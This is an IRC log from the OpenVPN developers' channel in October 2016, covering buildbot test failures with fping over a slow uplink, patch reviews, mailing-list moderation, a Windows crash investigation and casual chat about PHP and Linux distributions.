< slypknot> # Test 6: UDP / p2mp tun, top subnet, --fragment 500 07:11 < slypknot> RUN_TITLE_6="udp / p2pm / top subnet / --fragment 500" 07:11 < slypknot> OPENVPN_CONF_6="$OPENVPN_BASE_P2MP --dev tun --proto udp --remote $REMOTE --port 51198 --fragment 500" 07:11 < slypknot> EXPECT_IFCONFIG4_6="10.194.6.13" 07:11 < slypknot> EXPECT_IFCONFIG6_6="fd00:abcd:194:6::100b" 07:11 < slypknot> PING4_HOSTS_6="10.194.6.1 10.194.0.1" 07:11 < slypknot> PING6_HOSTS_6="fd00:abcd:194:6::1 fd00:abcd:194:0::1" 07:12 < slypknot> ip addr: 07:12 < slypknot> 6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100 07:12 < slypknot> link/none 07:12 < slypknot> inet 10.194.6.13/24 brd 10.194.6.255 scope global tun0 07:12 < slypknot> valid_lft forever preferred_lft forever 07:12 < slypknot> inet6 fd00:abcd:194:6::100b/64 scope global 07:13 < slypknot> valid_lft forever preferred_lft forever 07:17 < slypknot> ifconfig: 07:17 < slypknot> eth0 Link encap:Ethernet HWaddr 00:15:5d:48:6e:02 07:17 < slypknot> inet addr:10.10.201.238 Bcast:10.10.201.255 Mask:255.255.255.0 07:17 < slypknot> inet6 addr: fe80::215:5dff:fe48:6e02/64 Scope:Link 07:17 < slypknot> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 07:17 < slypknot> RX packets:14181 errors:0 dropped:0 overruns:0 frame:0 07:17 < slypknot> TX packets:14461 errors:0 dropped:0 overruns:0 carrier:0 07:17 < slypknot> collisions:0 txqueuelen:1000 07:17 < slypknot> RX bytes:2317050 (2.2 MiB) TX bytes:4365534 (4.1 MiB) 07:17 < slypknot> lo Link encap:Local Loopback 07:17 < slypknot> inet addr:127.0.0.1 Mask:255.0.0.0 07:17 < slypknot> inet6 addr: ::1/128 Scope:Host 07:17 < slypknot> UP LOOPBACK RUNNING MTU:65536 Metric:1 07:17 < slypknot> RX packets:9387 errors:0 dropped:0 overruns:0 frame:0 07:17 < slypknot> TX packets:9387 errors:0 dropped:0 overruns:0 carrier:0 07:17 < slypknot> collisions:0 txqueuelen:0 07:17 < slypknot> RX bytes:2466400 (2.3 MiB) TX bytes:2466400 (2.3 MiB) 07:17 < slypknot> tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 07:17 < slypknot> inet addr:10.194.6.13 P-t-P:10.194.6.13 Mask:255.255.255.0 07:17 < slypknot> inet6 addr: fd00:abcd:194:6::100b/64 Scope:Global 07:17 < slypknot> UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 07:17 < slypknot> RX packets:0 errors:0 dropped:0 overruns:0 frame:0 07:18 < slypknot> TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 07:18 < slypknot> collisions:0 txqueuelen:100 07:18 < slypknot> RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) 07:18 < slypknot> tun10 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 07:18 < slypknot> inet addr:10.177.36.170 P-t-P:10.177.36.169 Mask:255.255.255.255 07:18 < slypknot> UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 07:18 < slypknot> RX packets:27 errors:0 dropped:0 overruns:0 frame:0 07:18 < slypknot> TX packets:30 errors:0 dropped:0 overruns:0 carrier:0 07:18 < slypknot> collisions:0 txqueuelen:100 07:18 < slypknot> RX bytes:4630 (4.5 KiB) TX bytes:3891 (3.7 KiB) 07:18 < slypknot> y 07:18 < slypknot> Netscreen MTU: Operating MTU: 1500; Default MTU: 1500 07:18 < slypknot> ^^ ethernet LAN ^^ 07:19 < slypknot> Netscreen Internet: Operating MTU: 1432; Default MTU: 1492 07:20 < slypknot> ISP modem in bridge mode 07:29 <@dazo> gee, slypknot! pastebin! pastebin! 07:29 <@dazo> !pastebin 07:29 <@vpnHelper> "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website, or (#2) ie: www.pastebin.ca 07:30 <@dazo> plaisthos: Have you seen this ticket? http://community.openvpn.net/openvpn/ticket/728 ... I have to admit, I'd like to see such a feature myself ;-) 07:30 <@vpnHelper> Title: #728 (Feature: Block/Allow connecting when on specific SSID or Network/netmask) – OpenVPN Community (at community.openvpn.net) 07:31 <@dazo> I think it is misreported though, I don't think you use our community trac instance for your android app :) 07:33 <@plaisthos> I know 07:33 <@plaisthos> that feature is only todo list for agesI 07:33 <@plaisthos> but haven't had time to proper implement it 07:34 <@plaisthos> that is a feature that you can get wrong/hacky/etc very quick 07:35 <@plaisthos> it also sates OpenVPN Android which might be OpenVPN Connect 07:52 <@dazo> ahh, didn't read that careful ... I understand the feature can be somewhat hacky though 07:53 <@dazo> cron2: btw .... mail-archive.com noticed that our -devel list had not been indexed for some weeks ... they claimed to have fixed it now. 08:01 <@cron2> ah, good :) - will do some commits tonight, we'll see 08:02 <@cron2> (but need to be in school 17:30-20:00, parent's evening or whatever it is called in english) 08:02 < slypknot> sorry pastebin next time *smackshead* 08:02 <@cron2> dazo: uh, before sending patches, please do git fetch :) 08:04 <@cron2> syzzer: please be updating trac tickets when your doc patches get merged :) 08:04 <@plaisthos> you could do a second patch with the message I proposed on the ML :p 08:08 <@dazo> I thought I had seen a patch doing this ... but didn't catch it :/ ... and git fetch isn't enough, need git rebase too :-P 08:08 <@dazo> Would also help if the trac ticket had been updated though ;-) 08:09 * cron2 points at "15:00 <@cron2> syzzer: please be updating trac tickets" :) 08:10 <@dazo> :) 08:11 <@syzzer> woops, yeah, sorry... 08:11 <@syzzer> though I see dazo managed that part by now 08:12 <@dazo> :) 08:12 * dazo need to run now 10:53 < slypknot> cron2: some fping tests from test 6 build-tincan-debian-85-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto 10:53 < slypknot> https://0paste.com/9280 10:55 < slypknot> Shows that fping works but not very well for 3000b packet and wait 250ms .. maybe my machine or internet is too slow ? 11:58 < slypknot> https://forums.openvpn.net/viewtopic.php?f=5&t=22557 11:58 <@vpnHelper> Title: Windows Server 2016 OpenVPN error - OpenVPN Support Forum (at forums.openvpn.net) 11:58 < slypknot> Log: GetAdaptersInfo #1 failed (status=127) : The specified procedure could not be found. 11:59 < slypknot> is Windows Server 2016 supported ? 13:14 <@cron2> slypknot: how much bandwidth do you have, and how's the latency between you and the conn-test-server (so what does fping with 64 bytes print?) 13:15 <@cron2> test 6 will cause "many packets" to be sent for each 3000 byte packet (~7) so that might well bump total latency over 250ms if something slow is involved, like "ADSL upload" 13:38 <@cron2> amazing 13:39 <@cron2> "coding style" really gets people even more excited than "you should use *this* framework for testing on windows!" 13:41 <@syzzer> cron2: one should immediately recognize and act upon bike shed topics, right? ;) 13:41 <@cron2> right! 13:41 * cron2 would choose black, but $kid[0] does not like that, so we'll need to go for blue. Unless $kid[1] decides first, then it will have to be green. 13:43 < danhunsaker> That might be why coding style was the first thing the PHP standards folk addressed... 13:46 <@syzzer> PHP has a standard coding style? :o 13:46 < danhunsaker> Indeed so. 13:46 <@syzzer> This is good news, I must have not touched PHP for a decent amount of time! 13:47 < danhunsaker> PSR-1 and PSR-2, with a PSR-12 in the works to cover stuff that's new in PHP 7. 13:47 < Thermi> The language is still crap. 13:47 <@dazo> cron2: maybe because coding style is possible to understand more properly ....... :-P 13:47 < danhunsaker> Thermi: Most are. 13:47 < Thermi> danhunsaker: Agreed. 13:47 <@cron2> "make it insecure" must be part of that coding style 13:48 <@syzzer> cron2: no need, this feature was securely (pun intended) embedded in the language from the start ;) 13:48 <@dazo> lol 13:48 <@cron2> syzzer: well done, it seems 13:49 < danhunsaker> Yeah, the security of the language is well out of the realm of coding style. 13:50 < danhunsaker> Though there are some basic steps that address the major holes, and 7 has been working hard to fix the rest. 13:50 <@dazo> well, what would you expect when you have a syntax style which blends in perl, bash and java in one go and accepts all of them and every individual variant in between 13:50 <@dazo> oh, I forgot C/C++ too! 13:51 < danhunsaker> Pfft. Java already includes the C/C++ angle. 13:51 <@dazo> hehe ... fair point :) 13:52 < danhunsaker> 7 is actually doing some really nice things with the language. Long overdue things. 13:52 <@dazo> I remember when I had to write some Java test code for Apache Qpid .... I felt I was writing PHP, just skipping the $ 13:52 < danhunsaker> Certainly a long way from the original PHP 3 "I'm a perl parser!" days. 13:53 <@dazo> It have just taken too long for PHP7 to arrive ... so I struggle to see that it can really survive in the long run ... Python, Ruby and Node seems to have gained more traction 13:53 < danhunsaker> ("I don't actually parse any perl, mind - I'm just written in it...") 13:54 < danhunsaker> Python has waxed and waned in popularity a number of times over the years. As I recall, it was the standard for CGI sites until PHP supplanted it. 13:55 < danhunsaker> And that's even ignoring the Py2/3 split. 13:55 <@dazo> hmmm ... wow, I actually never really caught Python before my PHP days (a decade ago or so) .... just seeing a lot of Django and Flask stuff having quite some traction 13:55 < danhunsaker> Ruby has a number of its own issues, many of them actually very similar to those of PHP. 13:55 < danhunsaker> Node seems pretty solid, though. :) 13:56 <@dazo> yeah, that's my impression too ... but javascript ..... ;-) 13:56 < danhunsaker> My thoughts as well... Either way, PHP still has the largest share of deployed sites. 13:57 <@dazo> I think they will stay on PHP5 for a long long time though, as too much can/will break without adopting it to PHP7 13:57 < danhunsaker> (Even more than *shudder* ASP...) 13:58 < danhunsaker> I'm not sure about that, actually. 5.6 is the last version of 5 they've built, and 5.5 is no longer supported. 13:58 <@dazo> (even moving from PHP3 -> PHP4 -> PHP5 -> PHP5.x -> PHP5.y could be quite painful) 13:58 < danhunsaker> Also, the changes between 5.4+ and 7.0 are actually pretty minimal. Having managed several of those migrations myself. :D 13:58 <@dazo> I guess if WP, Drupal and all the similar large projects moves over to PHP7, things might be different 13:59 <@syzzer> damn, this system is really trolling me: 13:59 <@syzzer> $ sudo reboot 13:59 <@syzzer> Failed to start reboot.target: Connection timed out 13:59 <@syzzer> See system logs and 'systemctl status reboot.target' for details. 13:59 <@dazo> hahaha 13:59 <@dazo> syzzer: try: systemctl reboot 13:59 <@dazo> (might even work without sudo) 14:00 <@syzzer> oh, because systemd now also tool over my reboot functionality? :') 14:00 <@dazo> ll /sbin/reboot 14:00 <@dazo> lrwxrwxrwx. 1 root root 16 Sep 21 14:56 /sbin/reboot -> ../bin/systemctl 14:00 <@dazo> well .... yes :) 14:01 <@dazo> so I believe reboot == systemctl reboot :) 14:02 <@dazo> worst case, you can probably do: echo s > /proc/sysrq-trigger ; echo u > /proc/sysrq-trigger ; echo b > /proc/sysrq-trigger 14:02 <@dazo> ;-) 14:02 <@syzzer> the machine is now no longer reachable at all, I guess this is my first Ubuntu upgrade that went bad in a long time... :( 14:02 <@dazo> eeww ... ubuntu :-P 14:03 <@syzzer> s/ubuntu/rhel/ and that's how I feel each time I have to touch those ever-breaking rhel build bots :p 14:04 <@syzzer> although sles is even worse 14:06 < danhunsaker> Probably part of why they stopped calling it that... 14:06 <@dazo> syzzer: do you use mock when doing rhel builds? 14:06 <@syzzer> jenkins 14:07 <@dazo> ahh ... okay, then you must blame jenkins ;-) but seriously ... if you have a .spec file prepared, create a source package with: rpmbuild -bs openvpn-nl.spec .... then kick that src file to mock with the distro+arch argument ... then you'll get a very clean build 14:09 <@dazo> mock is truly a clever thing in the Fedora/RHEL world .... as all builds are done in clean chroots, ensuring no odd dependencies are sneaked into the build ... and if someone tries that, the build easily breaks by itself 14:09 <@syzzer> interesting, I'll check it out 14:09 <@syzzer> though I/we have really funky code approval and signing procedures, that usually don't align well with 'normal' packaging tools :( 14:10 <@dazo> yeah, that I can understand ... but I honestly think mock could fit into such strict regimes quite well though 14:11 < danhunsaker> I'm calling bias on that one. :P 14:11 <@dazo> :) 14:12 < danhunsaker> Not BS. Just bias. 14:12 <@syzzer> after firing up the vmware console, the machine simply *did* process the reboot, and then didn't bring up networking because of the switch to deterministic interface names and my custom network still using eth0 14:13 <@dazo> ahh, those glorious changes :) 14:13 < danhunsaker> Does that changeset allow for interface alias rules? 14:14 < danhunsaker> I recall Gentoo going through something similar, oh, five years ago? The change was "fixable" in udev. 14:14 <@syzzer> no idea... 14:15 <@syzzer> but I'll just use the new names, I like determinism ;) 14:15 < danhunsaker> Fair enough. :) 14:16 < danhunsaker> Thinking about investigating non-deterministic build settings at some point... See how well they'd play with LLVM targets. 14:19 < danhunsaker> But. 14:19 < danhunsaker> Different story. 14:52 < slypknot> cron2: I have moved debian-85 to a new machine on a new ISP that has a much bigger internet UP . Can you please kick off a build on that machine (and any others of mine you want to test) thanks 14:55 < slypknot> hold on .. forgot t_client.rc 14:55 < slypknot> unless that now comes with the auto-EXPECT thingy 14:55 < slypknot> nope .. it's all good .. please kick off 14:56 < slypknot> sudo/mbedtls all done 15:12 <@cron2> it says "offline" right now 15:13 < slypknot> 2016-10-05 20:32:33+0100 [Broker,client] Connected to 10.177.36.101:9989; slave is ready 15:13 < slypknot> I have moved it to an all new ip 15:14 <@cron2> still shown as offline 15:17 < slypknot> tcp 0 0 10.177.36.170:35339 10.177.36.101:9989 ESTABLISHED 8975/python 15:17 < slypknot> that is the community vpn to master 15:17 < slypknot> up/est 15:18 < slypknot> bbslave log says connected 15:18 < slypknot> seems to have started now 15:18 < slypknot> thanks 15:19 < slypknot> this is to test fping -b 3000 15:23 <@cron2> building now 15:30 <@cron2> it is unhappy 15:30 <@cron2> "retry exception slave lost" - never seen that 15:31 <@cron2> another firewall getting in the way, disturbing the community VPN? 15:32 < slypknot> I saw that , trying to fiure out what happened 15:32 < slypknot> no firewall to worry about this time 15:33 < slypknot> my fault .. bbot has restarted on the other debain .. sorry about that 15:37 < slypknot> it is fixed .. not sure if it is trying or not 15:38 < slypknot> restarting buildbot 16:00 < slypknot> looks like 6 worked ? 18:30 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Read error: Connection reset by peer] 18:35 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 23:18 <@vpnHelper> RSS Update - tickets: #749: remote-random-hostname prevent connections when *. domains doesn't resolve <https://community.openvpn.net/openvpn/ticket/749> --- Day changed Thu Oct 06 2016 02:04 <@cron2> slypknot: indeed, it is happy now 04:14 < slypknot> cron2: which do you prefer, that mine fail fping -b 3000 becuase of my internet or hack t_client.sh to allow for more time ? 04:20 <@cron2> actually -b 250 is not "how long it will wait" but "in which intervals subsequent packets will be sent" 04:21 <@cron2> so increasing that will make it run slower for everyone 04:21 < slypknot> -p 250 ?? 04:21 <@cron2> yes, -p 250 04:21 < slypknot> i get different results like so: 04:22 < slypknot> fping -b 3000 -c 6 -p 10000 10.194.6.1 = 10.194.6.1 : xmt/rcv/%loss = 6/4/33%, min/avg/max = 549/559/586 04:22 < slypknot> and 04:22 <@cron2> well, -p 10000 should send "one packet every 10 seconds", according to the docs 04:22 < slypknot> fping -b 3000 -c 6 -p 10000 10.194.0.1 = 10.194.0.1 : xmt/rcv/%loss = 6/4/33%, min/avg/max = 550/573/641 04:23 <@cron2> which means "t_client runs will not longer just take forever, but forever and two weeks" 04:24 <@cron2> we run fping for both hosts at the same time, so it will send packet bursts - and if your upstream cannot take that, I'm not sure increasing the time will help much 04:24 <@cron2> try fping -b 3000 -c 6 -p 10000 10.194.0.1 10.194.6.1 04:24 <@cron2> with both hosts 04:25 < slypknot> it is running but so far 10.194.0.1 *always* fails if I ping both hosts 04:25 < slypknot> 10.194.6.1 : xmt/rcv/%loss = 6/4/33%, min/avg/max = 549/550/552 04:25 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 6/0/100% 04:26 <@cron2> well, no idea in which order fping will send the pings, but yeah... this is pretty much unsolvable, unless you change the pinghost statements for test 6 04:26 < slypknot> btw this is 6:* so --fragment 500 is present 04:26 <@cron2> putting in just one of them might be good enough 04:27 <@cron2> (pinging both is an extra verification that routing works and the server has the expected IP on the server side) 04:27 <@cron2> s/might/should/( 04:27 < slypknot> This is arch host I am using .. I will leave debian on the host which works 04:28 < slypknot> I presume t_client.sh gets downloaded new every time ? 04:28 <@cron2> it is built from the source tree (tests/t_client.sh.in) 04:29 <@cron2> but which hosts it pings is controlled by t_client.rc - so if you just remove one of the two hosts, that should be good 04:30 < slypknot> is that what you prefer .. I am happy to change what ever you think is suitable 04:31 <@cron2> ping single host, done 04:31 <@cron2> as a side note... :) - https://blog.acolyer.org/2016/10/06/simple-testing-can-prevent-most-critical-failures/ 04:31 <@vpnHelper> Title: Simple testing can prevent most critical failures | the morning paper (at blog.acolyer.org) 04:40 < slypknot> Even tho -p 250 may not implicitly effect how long to wait, it will mean the process only waits 20x250ms=5 secs total .. that is still not good for me eg: fping -b 3000 -c 20 -p 250 -q 10.194.6.1 == 10.194.6.1 : xmt/rcv/%loss = 20/1/95%, min/avg/max = 551/551/551 04:42 < slypknot> i was thinking could you noy set -p $pause and set $pause in t_client.rc for each bbslave individually 04:43 <@cron2> I could, but I could also just fix the --multihome bugs, and why d12fk's patch makes windows builds crash 04:45 < slypknot> :) ok 04:45 < slypknot> v.low prio 04:45 <@plaisthos> cron2: I have still the stackbtrace for that bug :) 04:45 <@plaisthos> emailed d12fk a screenshot of that ... 04:47 <@cron2> I'll sprinkle msg() all over that function to see where it bombs, and then look deeper... stacktrace without symbols is for Real Men, and I'm too soft for that :) 04:57 < slypknot> if i swap the host order from 10.194.6.1 10.194.0.1 to 10.194.0.1 10.194.6.1 now 10.194.6.1 fails instead of 0.1 05:05 < slypknot> -R -i 5000 fixes it completely :) 05:07 <@d12fk> oh yeah, I will look into that 06:16 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 272 seconds] 06:19 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:45 <@plaisthos> cron2: with symbols 06:46 <@plaisthos> build in msvc 06:46 <@plaisthos> after I fixed the stack level of ifs in options.c to get it to compile 06:47 <@plaisthos> appearently C99 only guartees 256 levels of nesting and our options.c has *a lot* more 06:48 <@plaisthos> the if (opt == foo) else {if (opt == bar) else {if (opt == baz) ...}}} code 06:49 <@cron2> ohoh! 06:49 <@plaisthos> I just added something like else { goon = true;} if (!goon) ; else 06:49 <@cron2> wtf, it dies in argv_printf()? that... should not happen 06:50 <@plaisthos> that makes msvc happy 06:50 <@plaisthos> cron2: something being invalid points in the arglist 06:51 <@plaisthos> invalid pointer in there 06:51 <@plaisthos> but I did not investigate much 06:51 <@plaisthos> was too late in the evening 06:51 <@plaisthos> and next day was Helsinki exploring! 06:51 <@cron2> this is what I suspected ("assumptions about things that should have been iniitialized"). Interesting. Dang, I should be fixing other stuff... tonight 06:51 <@plaisthos> The VM might be even suspend in the msvc state 06:52 < slypknot> cron2: I have changed t_client.sh.in so the fpings include "-R -i 5000" on arch-amd64, could you please kick off a build on tincan-arch-amd64, thankyou (when you have time) 06:56 <@cron2> slypknot: chances are that buildbot will just overwrite anything in there (*or* fail because the git repo is not clean) 06:57 <@cron2> forcing 06:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 06:59 < slypknot> cron2: you are right, t_client.sh.in was over written .. 07:00 < slypknot> I'll send an email to devel for posterity :) 07:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:28 < slypknot> cron2: did that build get cancelled ? 07:37 < slypknot> ok .. i still had test vpn up 07:39 < slypknot> nvm 09:59 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Remote host closed the connection] 10:43 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 17:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 17:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Fri Oct 07 2016 02:52 <@cron2> https://65.media.tumblr.com/3751fac9f54afd3e3119052ce3b1f210/tumblr_oc3nimwhjJ1tsfjhao1_540.jpg 02:53 <@cron2> the multihome stuff is looping around 4..6 :) 03:16 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/559 03:16 <@vpnHelper> Title: java.lang.ExceptionInInitializerError · Issue #559 · schwabe/ics-openvpn · GitHub (at github.com) 03:17 <@plaisthos> The incompetence of forks is sometimes scary 03:35 <@cron2> amazing :) 03:37 < danhunsaker> Security tools are a lot more complex than they might look... 03:46 <@plaisthos> danhunsaker: that is not a security tools, just a app connect my VPN service, I don't understand Google so strict. What does insecure library mean, please kindly help, SIr! 03:48 < danhunsaker> Yeah... Something like... 03:49 < danhunsaker> Or "of course OpenVPN is privacy software! What else would it be good for?" 07:43 <@plaisthos> today seems the day of bad fork people: https://github.com/schwabe/ics-openvpn/issues/560 07:43 <@vpnHelper> Title: Changes for Android Nougat · Issue #560 · schwabe/ics-openvpn · GitHub (at github.com) 09:26 -!- Netsplit *.net <-> *.split quits: s7r, @cron2 09:26 -!- Netsplit over, joins: s7r 09:27 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 09:27 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 09:27 <@cron2_> mattock: meeting monday? 10:05 <@syzzer> +1 for meeting monday 10:19 <@dazo> +1 13:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 13:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:00 -!- Netsplit over, joins: s7r 14:16 <@cron2_> ok, first round of --multhome tests done - the patch fixes the IPv6 problem on all amd64 BSDs, and does not break anything new (regarding --multihome) 14:16 <@cron2_> IPv4 is, amazing enough, still broken on NetBSD i386 and NetBSD amd64... 14:17 <@cron2_> need to test linux/i386 to ensure nothing got broken there... 14:22 -!- Netsplit *.net <-> *.split quits: danhunsaker, @cron2_ 14:32 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 14:51 -!- Netsplit *.net <-> *.split quits: +krzee 14:52 -!- Netsplit over, joins: krzee 14:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:52 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 14:57 < lev__> first part of separate push list patch is on the list, if it looks good - in second part I'll do ifconfig and ifconfig-ipv6 --- Log closed Fri Oct 07 15:11:46 2016 --- Log opened Mon Oct 10 07:32:04 2016 07:32 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 1 voices, 17 normal] 07:32 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:33 <@syzzer> cron2: I am now :) 07:35 <@cron2> whee! 07:36 <@cron2> syzzer: could you try bouncing your mail again, with a current Date: timestamp? I'm guessing that some sort of anti-spam thingie dropped it due to "date: header too far off" 07:36 <@cron2> if that doesn't work, just re-send with new headers and all... (so Lev__ has to re-ack, but whatever) 07:36 <@syzzer> cron2: I got a notice from the list that it is in the moderation queue 07:37 <@cron2> syzzer: I wonder who has access to that queue - mattock maybe? 07:37 <@syzzer> have poked mattock a couple of times to approve it, but seems those never reached him 07:37 <@cron2> mattock: *poke* *poke* 07:49 <@mattock> hi 07:50 <@mattock> so emails to openvpn-devel are getting rejected? 07:50 <@cron2> one of syzzers, re-sent after $longtime because list cc was missing initally 07:50 <@mattock> also: do we want to have a meeting today evening? I can't recall any discussion about that yet 07:50 <@mattock> I'll check the queue 07:50 <@cron2> mattock: well, we agreed on "we want meeting" on friday, ISTR :) 07:51 <@mattock> did we? I missed the chatlog then 07:51 <@mattock> I'll setup a agenda and make an announcement then 07:51 <@cron2> ah, syzzer and dazo +1'ed my suggestion, you never replied :) 07:54 <@mattock> was the email this one: "Re: [Openvpn-devel] [PATCH] Fix duplicated PUSH_REPLY options" 07:54 <@mattock> Mon Oct 3 12:30:39 2016 07:54 <@cron2> yep 07:55 <@mattock> I'll let it through 07:55 <@cron2> thanks 07:55 <@cron2> (that one actually already has an ACK, just the mail is missing) 07:58 <@cron2> whee! 07:58 <@cron2> working on something non-openvpn-related right now, but will merge later 07:58 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2016-10-10 07:58 <@vpnHelper> Title: Topics-2016-10-10 – OpenVPN Community (at community.openvpn.net) 07:58 <@mattock> I'll send the announcement now 07:59 <@mattock> added link to release status page 08:00 <@mattock> sent 08:11 <@ecrist_> mattock: can you add me to the moderator or admin list of the mail lists? 08:12 <@ecrist_> I'm going to get the archiving set up this week by attaching mailman/piper mail to the list, too 08:13 -!- You're now known as ecrist 08:18 <@mattock> cron2: I'll build an installer with 0001-Windows-do_ifconfig-after-open_tun-v2.patch next 08:27 <@cron2> thanks :-) - this is what will need REALLY GOOD testing - and then we're good for 2.4_alpha1, I think 08:30 <@mattock> and you have the test suite to test this with, right? 08:30 <@mattock> I need to dig up the script you sent me, haven't had time to test it 08:30 <@cron2> "suite" is somewhat overvalued - my run.bat and run2.bat scripts said "this is good" 08:30 <@cron2> but I am only testing ~10 variants, while people out there have way more imagination 08:31 * plaisthos knows 08:31 <@mattock> let's publish a preview of 2.4-alpha1 and announce it on openvpn-devel 08:31 <@mattock> let the imaginative people have a go 08:31 <@cron2> let's discuss this tonight :) 08:31 <@mattock> yeah 08:31 <@mattock> the release process takes some hours anyways, but an installer based on Git "master" is easy 08:32 <@mattock> to create 08:32 <@mattock> there the "scary-looking message from openvpnserv2 installation" to take care of 08:37 <@vpnHelper> RSS Update - gitrepo: Fix duplicate PUSH_REPLY options <https://github.com/OpenVPN/openvpn/commit/974ec19daa6c9d4e954912b3743c7101637f1d33> 08:39 <@plaisthos> if you havetime you could look at the v2 version of packet id linear and v4 of tun-ipv6 option 08:40 <@cron2> TCP_NL 08:40 <@cron2> ? 08:40 <@plaisthos> yeah 08:41 <@cron2> thanks for the reminder. Yes. 08:41 <@plaisthos> that will makes James' servers happy 08:55 <@syzzer> mattock: thanks. Next time I'll add the CC: header :) 09:00 <@mattock> ok :) 09:00 <@mattock> it was sc.exe that produced the nasty output right at the end of the installer 09:01 <@mattock> it seems that adding >nul redirection to the command solves it when running the comman manually 09:02 <@mattock> doing >nul also hides errors, because 2> is not handled separately 09:02 <@mattock> as in: all goes to 1> 09:02 <@mattock> I'll see if there is a workaround 12:04 <@ecrist> So, I have a dumb question. 12:04 <@ecrist> If we are hosting our list with sourceforge, and don't plan on changing that, what is wrong with the SF mail list archive? 12:04 <@ecrist> We don't like the interface, or? 12:04 <@ecrist> Are we protecting ourselves against SF going away? 12:05 <@plaisthos> we don't like the interface basically 12:05 <@plaisthos> or the lack of linking to mail by msg 12:06 <@plaisthos> id 12:06 <@ecrist> ok, that makes sense 12:06 <@ecrist> I'm just checking 12:14 < danhunsaker> SF feels ... dated... 12:14 < Thermi> feels like early 2000s. 12:18 < danhunsaker> They certainly haven't done much with the UI since then, yeah. 12:30 <@syzzer> cron2: (re solaris fix) interesting way to boost your commit stats ;) 12:37 <@cron2> syzzer: don't forget zillions of t_client.sh fixes :) 12:38 <@syzzer> did you have to revert-and-reapply those too? ;) 12:39 <@cron2> didn't see mandree's mail yet... that was indeed a stupid typo... "plaisthos ACKed it, so why would I have to double-check it" 12:40 <@syzzer> definitely true, once something is reviewed, everything is the reviewers fault from that point on 12:40 * cron2 stops reviewing stuff from syzzer or plaisthos 12:41 <@syzzer> hehe, wise 12:41 <@syzzer> (but is has a certain truth to it, which is why I can be a bit pedantic in reviews...) 12:42 <@plaisthos> what did I do wrong? 12:42 * syzzer goes and review lev's push-reply refactoring 12:44 <@cron2> syzzer: all bugs are yours to keep 12:45 <@cron2> syzzer: but then, I had to fight with Solaris for this one-line-three-commits bonus :-) 12:47 <@syzzer> yeah, I'm not entire sure that's the easiest way to ramp up you score ;) 12:47 <@vpnHelper> RSS Update - gitrepo: Enable -D_XPG4_2 for compilation on Solaris <https://github.com/OpenVPN/openvpn/commit/4e2038ed2e77aa7189852304d802382bad140f53> || Revert "Enable -D_SVR4_2 for compilation on Solaris" <https://github.com/OpenVPN/openvpn/commit/e25d03a4cc0664f6ece067facb1bc8e38134f396> 12:58 <@plaisthos> oh define vs messsage 13:31 <@vpnHelper> RSS Update - gitrepo: Enable TCP non-linear packet ID <https://github.com/OpenVPN/openvpn/commit/55755e6ee56516c96525e6bf313c173653af1a4b> 13:31 <@cron2> plaisthos: there it is :) 13:32 <@plaisthos> ah nice! 17:34 <@dazo> mattock: We need to do have a more predictable meeting schedule ... 5 hours warning is a bit too short for me. And especially on Mondays+Tuesdays where I'm alone in the afternoon/evening with $kid, then I do need to plan the day far better in advance 17:34 < slypknot> I am sure you are all aware of the W10 Anniversary thread, so here is the latest news: 17:34 < slypknot> https://forums.openvpn.net/viewtopic.php?f=6&t=22253&start=15#p64895 17:34 <@vpnHelper> Title: Connection problems with Windows 10 anniversary update - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 17:35 < slypknot> turns out .. effing Windows firewall 17:35 < slypknot> *most likely* 17:36 * dazo doesn't really care much about Windows at all, tbh ... just feel pity to those who really must use it 17:38 < slypknot> I only update you guys for things which are of interest .. that thread has had 3,250 views since Aug-2016 17:39 < slypknot> and now it appears there is a solution .. 17:40 <@dazo> well, there are others here who cares ... but that means the "you are all aware" statement isn't really a good fit 17:42 < slypknot> re: Windows v Linux .. even M$ are feeling the pinch: https://linux.slashdot.org/story/16/10/03/198222/ubuntu-1604-available-in-latest-insider-update-to-windows-10 17:42 <@vpnHelper> Title: Ubuntu 16.04 